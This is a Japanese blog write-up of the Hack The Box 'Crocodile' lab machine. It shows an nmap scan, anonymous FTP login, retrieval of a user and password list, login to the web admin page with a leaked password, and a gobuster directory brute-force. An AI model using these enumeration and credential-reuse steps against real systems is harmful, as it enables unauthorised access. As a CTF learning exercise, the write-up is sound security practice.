1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【crocodile】HTB Writeup的な

Posted at

偵察

┌──(root㉿kali)-[~]
└─# nmap -p- -sC -sV --min-rate=1000 10.129.243.152
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-06-06 14:20 JST
Stats: 0:00:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 19.82% done; ETC: 14:21 (0:01:09 remaining)
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 20.85% done; ETC: 14:21 (0:01:08 remaining)
Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.44% done; ETC: 14:21 (0:01:06 remaining)
Nmap scan report for 10.129.243.152
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.51
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 90.58 seconds

21番ではftpサービスが稼働中である。
前のボックスでもあったftpである。
ログを見る感じvsftpd 3.0.3を使っているようだ。
また、ログを見てみると...。

ftp-anon: Anonymous FTP login allowed (FTP code 230)

匿名ログインが許可に設定されていることがここから分かる。

さくっと匿名ログイン

┌──(root㉿kali)-[~]
└─# ftp 10.129.243.152
Connected to 10.129.243.152.
220 (vsFTPd 3.0.3)
Name (10.129.243.152:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

余談だがftpのstatuscodeについての一覧ページがここにある。
ありがとう。itmedia。
https://atmarkit.itmedia.co.jp/fnetwork/rensai/netpro10/ftp-responsecode.html

220は新規ユーザー向けに準備が整った。ログイン時に表示される場合を想定している。という意味らしい。

該当サーバーのディレクトリ構成を探索する。

ftp> dir
229 Entering Extended Passive Mode (|||48854|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.

サーバーの設定ファイルかなにかだろうか...。

取り敢えずgetコマンドで取得してみることに。

ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||47143|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |******************************************************************************************************************************************************************************************************************|    33      220.72 KiB/s    00:00 ETA226 Transfer complete.
33 bytes received in 00:00 (0.13 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||43910|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |******************************************************************************************************************************************************************************************************************|    62       71.23 KiB/s    00:00 ETA226 Transfer complete.
62 bytes received in 00:00 (0.29 KiB/s)

無事取得出来た。

次にcatコマンドで参照してみる。

ftp> exit
221 Goodbye.

┌──(root㉿kali)-[~]
└─# ls
allowed.userlist  allowed.userlist.passwd  plymouth-kali-new-theme  tmp  vpn
┌──(root㉿kali)-[~]
└─# cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin

┌──(root㉿kali)-[~]
└─# cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

ここで

Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

という認証情報らしきものが出てきた。
おそらくこの盗み出した情報を使って権限を昇格するのだろう。
最初のnmapで確認された

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

で使えるかどうかを試してみる。
というのが自然な立ち回りであろう。

webサイトにアクセス

IPアドレス直打ちでログインを試みる。

image.png

ここからどうにかして盗んだ認証情報を使ってログインしてみる。

その前に

Wappalyzerを使ってそのサイトを構築する際に使われている技術を片っ端から分析する。
自分はホストOSのwin11に入っているchoromeには導入していたが、firefoxには入れていない。

セキュリティの分析にも使えるとは...。
取り敢えずfirefoxにもWappalyzerを導入してみる。

image.png

popperはフロントエンド構築に使うjsライブラリらしく、ポップアップなどの機能をシンプルに実装することができる。

modernizrについて
https://qiita.com/puripuri_corgi/items/912c4a8171866fe6089d

slickについて
https://zenn.dev/asuka96/articles/e964474075b9b5

isotopeについて
https://kohimoto.com/labo/web/system/5678/
いずれもフロントエンド構築関連やJQuery関連である。

ログインページに向かう。

image.png

ここで、root:認証情報、admin:認証情報を使ってみたが駄目だった。
しかし、adminと3行目のパスワードでログイン出来た。(3行全て入力していた。)

image.png

フラッグみっけ!

管理者ページを探すためにgobusterでブルーとフォースを使ってみる。

┌──(root㉿kali)-[~]
└─# gobuster dir --url 10.129.243.152 -w /usr/share/wordlists/dirb/common.txt -x php,html -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.129.243.152>
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/assets               (Status: 301) [Size: 317] [--> <http://10.129.243.152/assets/>]
/config.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 314] [--> <http://10.129.243.152/css/>]
/dashboard            (Status: 301) [Size: 320] [--> <http://10.129.243.152/dashboard/>]
/fonts                (Status: 301) [Size: 316] [--> <http://10.129.243.152/fonts/>]
/index.html           (Status: 200) [Size: 58565]
/index.html           (Status: 200) [Size: 58565]
/js                   (Status: 301) [Size: 313] [--> <http://10.129.243.152/js/>]
/login.php            (Status: 200) [Size: 1577]
/logout.php           (Status: 302) [Size: 0] [--> login.php]

まだ途中だが、200が返ってきたディレクトリがある。そう、login.phpである。

参考文献(参照日2025年6月6日)

・公式WriteUp

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?